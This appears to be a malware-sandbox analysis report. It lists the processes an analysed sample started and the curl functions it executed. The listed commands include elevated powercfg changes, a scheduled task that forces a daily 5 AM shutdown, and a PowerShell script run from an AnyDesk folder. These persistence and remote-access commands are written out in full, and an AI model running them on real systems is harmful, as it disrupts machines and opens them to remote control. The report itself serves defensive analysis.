Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Imagebase:	0xd70000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	10:18:39
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Imagebase:	0xd70000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	10:18:39
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Imagebase:	0xb50000
File size:	187'904 bytes
MD5 hash:	478BEAEC1C3A9417272BC8964ADD1CEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	10:18:39
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	10:18:40
Start date:	08/01/2025
Path:	C:\Windows\System32\shutdown.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\shutdown.EXE /s /f /t 0
Imagebase:	0x7ff750bc0000
File size:	28'160 bytes
MD5 hash:	F2A4E18DA72BB2C5B21076A5DE382A20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	10:18:40
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	10:18:42
Start date:	08/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
Imagebase:	0x7ff6d8480000
File size:	3'379'080 bytes
MD5 hash:	40AAE14A5C86EA857FA6E5FED689C48E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10%
Total number of Nodes:	2000
Total number of Limit Nodes:	95

Executed Functions

Function 00A79A93 Relevance: 18.5, APIs: 12, Instructions: 548
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64a1f9a209504f2bd42822f376be414ddb4ea70be5d8037bd18d677f05c0ac1b
Instruction ID: d699792e627f9d73b4c41737aabe6517da6e829c64b4c40a31314087131ee4bd
Opcode Fuzzy Hash: 64a1f9a209504f2bd42822f376be414ddb4ea70be5d8037bd18d677f05c0ac1b
Instruction Fuzzy Hash: 2A326075B022189BCB24CF59DD80ADAB7B5FB46310F1881DAE40EE7A95D7309E81CF52

Function 0098F690 Relevance: 18.3, APIs: 12, Instructions: 290
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00002726,00000000), ref: 0098F6E9
Sleep.KERNEL32(?,00000000), ref: 0098F708
GetTickCount64.KERNEL32 ref: 0098F72D
select.WS2_32(?,?,?,?,?), ref: 0098F8E2
WSAGetLastError.WS2_32(?,000003E8,00000000), ref: 0098F8F1
GetTickCount64.KERNEL32 ref: 0098F924
__WSAFDIsSet.WS2_32(00000000,?), ref: 0098F9AB
__WSAFDIsSet.WS2_32(00000000,?), ref: 0098F9C3
__WSAFDIsSet.WS2_32(00000000,?), ref: 0098F9D7
__WSAFDIsSet.WS2_32(00000000,?), ref: 0098F9E9
__WSAFDIsSet.WS2_32(?,00000000), ref: 0098FA03
__WSAFDIsSet.WS2_32(?,?), ref: 0098FA15

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick$Sleepselect
String ID:
API String ID: 3934714958-0
Opcode ID: b3b38d187184ce18f632cda87ceef457e4cbeb133d49a580d62f7171ed9b9c5c
Instruction ID: ea384bb27f6696947bc524b12645e8f117e4c3fc189475231b0fd5f5de9e0733
Opcode Fuzzy Hash: b3b38d187184ce18f632cda87ceef457e4cbeb133d49a580d62f7171ed9b9c5c
Instruction Fuzzy Hash: 77A18372A043418BDB28EF28D89466EB6E9EF84364F505A3EF55EC73C0E730D9418B51

Function 00991CE0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 79
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 00991D3F
VerSetConditionMask.KERNEL32(00000000,00000000,00000008,00000001), ref: 00991D4D
VerifyVersionInfoA.KERNEL32(?,00000002,00000000), ref: 00991D64
VerifyVersionInfoA.KERNEL32(?,00000008,00000000,?), ref: 00991D76
LoadLibraryA.KERNELBASE(secur32.dll), ref: 00991D88
GetProcAddress.KERNELBASE(00000000,InitSecurityInterfaceA), ref: 00991DA4

Strings

secur32.dll, xrefs: 00991D83
security.dll, xrefs: 00991D7C
InitSecurityInterfaceA, xrefs: 00991D9E

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ConditionInfoMaskVerifyVersion$AddressLibraryLoadProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 4152440676-3788156360
Opcode ID: 1b1299dc4692da7918ca0cba4d7014d032b96cbfbbffd6299b810a3e1fc682dc
Instruction ID: 23352e71c067dbaa32e45414a9e130af0426af0eaed0413ce73fcf6683be23d7
Opcode Fuzzy Hash: 1b1299dc4692da7918ca0cba4d7014d032b96cbfbbffd6299b810a3e1fc682dc
Instruction Fuzzy Hash: 0621D771744306BBFB20DB659C0AF6B7BECFB44B40F004929B545EB1C1DA74D9098B92

Function 0098D9C0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 0098DA18

Strings

Connection time-out, xrefs: 0098DE17
connect to %s port %ld failed: %s, xrefs: 0098DC69
Failed to connect to %s port %ld: %s, xrefs: 0098DDF0
After %ldms connect time, move on!, xrefs: 0098DB41
Connection failed, xrefs: 0098DBD0

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: After %ldms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 1927824332-885759404
Opcode ID: e53806f413d85b806124bf26cdf843c38fc9fb2c8baf0d7e5f26596aafceb90c
Instruction ID: ebf9ed3822fb226fe88a0d563ea3487e7fca4694ffbd9acac735d534640ed010
Opcode Fuzzy Hash: e53806f413d85b806124bf26cdf843c38fc9fb2c8baf0d7e5f26596aafceb90c
Instruction Fuzzy Hash: B5C1BE716047029FC708EF28D885A6EB7A5BFC5318F04462DF85A8B3D1DB70E915CB92

Function 0098FA40 Relevance: 13.8, APIs: 9, Instructions: 283
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 0098FAA9
WSASetLastError.WS2_32(00002726,00000000,00000000), ref: 0098FC11
select.WS2_32(?,?,?,?,?), ref: 0098FCA5
WSAGetLastError.WS2_32(?,000003E8,00000000), ref: 0098FCB4
GetTickCount64.KERNEL32 ref: 0098FCF5
__WSAFDIsSet.WS2_32(?,?), ref: 0098FD99
__WSAFDIsSet.WS2_32(?,?), ref: 0098FDB2
__WSAFDIsSet.WS2_32(?,?), ref: 0098FDC7

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick$select
String ID:
API String ID: 2692648663-0
Opcode ID: af92d1ee573ccb0d44849df56a6a18f42ac3c200180e3d219c3738ca349775ad
Instruction ID: 33430f30e15a879f2825b5b9bc9f998f869e8ccce784b8925f99f6378fa94ae3
Opcode Fuzzy Hash: af92d1ee573ccb0d44849df56a6a18f42ac3c200180e3d219c3738ca349775ad
Instruction Fuzzy Hash: 93A1BF716083058BD729EF28C8A476EB6E9EFC8310F545A3DE989D7390EB34D941CB42

Function 00983D70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,00000000), ref: 00983D8D
WSAGetLastError.WS2_32 ref: 00983DA4

Strings

3', xrefs: 00983DAC
Recv failure: %s, xrefs: 00983DCB

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLastrecv
String ID: 3'$Recv failure: %s
API String ID: 2514157807-3205223812
Opcode ID: ff79852186d822cc01a6a559761257a0dc8f10743f366b3036f70fb421e17be8
Instruction ID: d902228d8a85fe7deb3f612d8b1cf9994f7e0bfea51d2d16043aa17adc0873fb
Opcode Fuzzy Hash: ff79852186d822cc01a6a559761257a0dc8f10743f366b3036f70fb421e17be8
Instruction Fuzzy Hash: 2301D672300204AFC7106FA9DC44B9ABBE4FB88722F104575F90C97390D7369D209B40

Function 00A865B9 Relevance: 3.2, APIs: 2, Instructions: 228COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32(00000000,?,?,00000055,?,?,00A77125,?,?,?,?,00000004,?,00000000), ref: 00A86697
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0,00A77125,00000000,00A77245), ref: 00A867D5

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CodeInfoLocalePageValid
String ID:
API String ID: 790303815-0
Opcode ID: 58c2237ed255454cdf599f8cce91b7057a34794910c4b6ea39e063911d1f91db
Instruction ID: 4f8088d2c0615fe66ab55b07f1896467ff7eaec25dd2d6c5b30aef564a282088
Opcode Fuzzy Hash: 58c2237ed255454cdf599f8cce91b7057a34794910c4b6ea39e063911d1f91db
Instruction Fuzzy Hash: F061D7B2A00306AAFB25BB74DD46FBA73A8EF04754F14443AFA45DB181FB74D94087A1

Function 0097930A Relevance: 35.3, APIs: 1, Strings: 19, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32 ref: 00979382

Strings

More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f, xrefs: 0097B2D6
[%lu/%lu]: %s --> %s, xrefs: 0097944B
http://, xrefs: 009793C7
https://, xrefs: 009793DE
%s%s, xrefs: 0097B2DB
://, xrefs: 00979489
out of memory, xrefs: 00978D0D
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like, xrefs: 0097B2D1
curl: (%d) %s, xrefs: 0097B2B8
Uh, xrefs: 00979086
Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!, xrefs: 0097933C
?, xrefs: 00979497
--_curl_--, xrefs: 00979466
(%d) Failed writing body, xrefs: 0097907E
%s%c%s, xrefs: 009794D6
fcntl failed on fd=%d: %s, xrefs: 0097939D
<stdout>, xrefs: 00979436, 00979442
%s%s, xrefs: 0097946B
-N, xrefs: 009793CE

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ioctlsocket
String ID: [%lu/%lu]: %s --> %s$%s%c%s$%s%s$%s%s$(%d) Failed writing body$--_curl_--$://$<stdout>$?$If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like$More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f$Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!$curl: (%d) %s$fcntl failed on fd=%d: %s$http://$https://$out of memory$-N$Uh
API String ID: 3577187118-4169914100
Opcode ID: c9180941f1d27719338ff967a59f7fc0f0650ded4a7357cfb69ead60d25aa143
Instruction ID: 5093b8c89c16efdf74b56beaebe520972f72997a80a51634d0353255cb8534ee
Opcode Fuzzy Hash: c9180941f1d27719338ff967a59f7fc0f0650ded4a7357cfb69ead60d25aa143
Instruction Fuzzy Hash: 0EC1D3B2A083419BE7209F648885B6F77E9FF95344F14C92CF89D96292EB35C844CB53

Function 009F1FF0 Relevance: 18.2, APIs: 7, Strings: 5, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,00000000,00000000,?,?), ref: 009F2033
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 009F203F
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000,00000000,00000000,?,?), ref: 009F2062
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 009F206E
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000,00000000,00000000,?,?), ref: 009F209C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00B15F2C,00B15F2E,?,00000008,?,?,?,00000000,?,?,00000000,00000000,00000000,?), ref: 009F20CB
GetLastError.KERNEL32(..\..\openssl\openssl\crypto\bio\bss_file.c,000000A9,?,?,?,00000000,?,?,00000000,00000000,00000000,?,?), ref: 009F2159

Strings

fopen(', xrefs: 009F217C
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009F21B3
',', xrefs: 009F2176
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009F21A2
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009F2154

Memory Dump Source

